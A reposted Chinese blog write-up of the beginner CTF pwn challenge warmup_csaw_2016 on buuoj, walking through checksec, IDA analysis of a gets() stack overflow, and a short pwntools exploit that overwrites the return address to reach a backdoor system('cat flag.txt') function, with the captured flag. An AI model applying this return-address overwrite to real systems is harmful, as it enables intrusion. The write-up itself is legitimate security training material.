IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> CTF buuoj pwn-----第3题:warmup_csaw_2016 -> 正文阅读

[Python知识库]CTF buuoj pwn-----第3题:warmup_csaw_2016

前言

记录一下pwn的过程 同第1、2题一样,新手学习日记,流水线记录.
打开题目, 连接靶机,下载文件’warmup_csaw_2016’

在这里插入图片描述


一、checkesc ,检测文件的保护机制

bing@bing-virtual-machine:~$ checksec ./warmup_csaw_2016
[*] '/home/bing/warmup_csaw_2016'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

从图上可以看出它是一个64位程序,仅开启了栈不可执行保护, 没有打开NX防护(堆栈可执行),No PIE.
这里可以对比一下第1题:https://blog.csdn.net/bing_Max/article/details/119947896
可猜测为 溢出漏洞.,

二、静态分析,IDA打开文件

IDA打开文件warmup_csaw_2016

  • 按下shift+f12,打开string window
    发现 cat flag.txt

在这里插入图片描述

  • 双击cat flag.txt, 点击command, 点击X, 发现cat flag.txt的address在可疑函数sub_40060D里

在这里插入图片描述

  • 按下f5,发现int sub_40060D()函数就是一个简单的system()函数,这个函数的作用就是输出flag的文件信息.
    在这里插入图片描述
  • 这就找到解题思路: 想办法触发后门函数sub_40060(),记下次函数地址为0x40060D
    在这里插入图片描述
  • 回到主函数,看到危险函数gets(), 这就明确了是栈溢出的题目

在这里插入图片描述

在这里插入图片描述

  • 双击v5,v5 64db ,再加上r(返回地址)8个字节,所以要达到溢出,需要总长度为72 db

三. 编写exploit

from pwn import *  

sh = remote('node4.buuoj.cn', 28978)
payload = b'a'*72+p64(0x40060D) 
sh.sendline(payload)

sh.interactive()

四. 运行EXP, 获取flag

bing@bing-virtual-machine:~/pwn$ python3  ./warmup_csaw_2016.py
[+] Opening connection to node4.buuoj.cn on port 28978: Done
[*] Switching to interactive mode
-Warm Up-
WOW:0x40060d
>flag{32892a46-9853-424a-a09a-cbaf5820ce47}
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive

flag{32892a46-9853-424a-a09a-cbaf5820ce47}


  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2021-08-29 09:02:32  更:2021-08-29 09:03:14 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/26 23:54:06-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计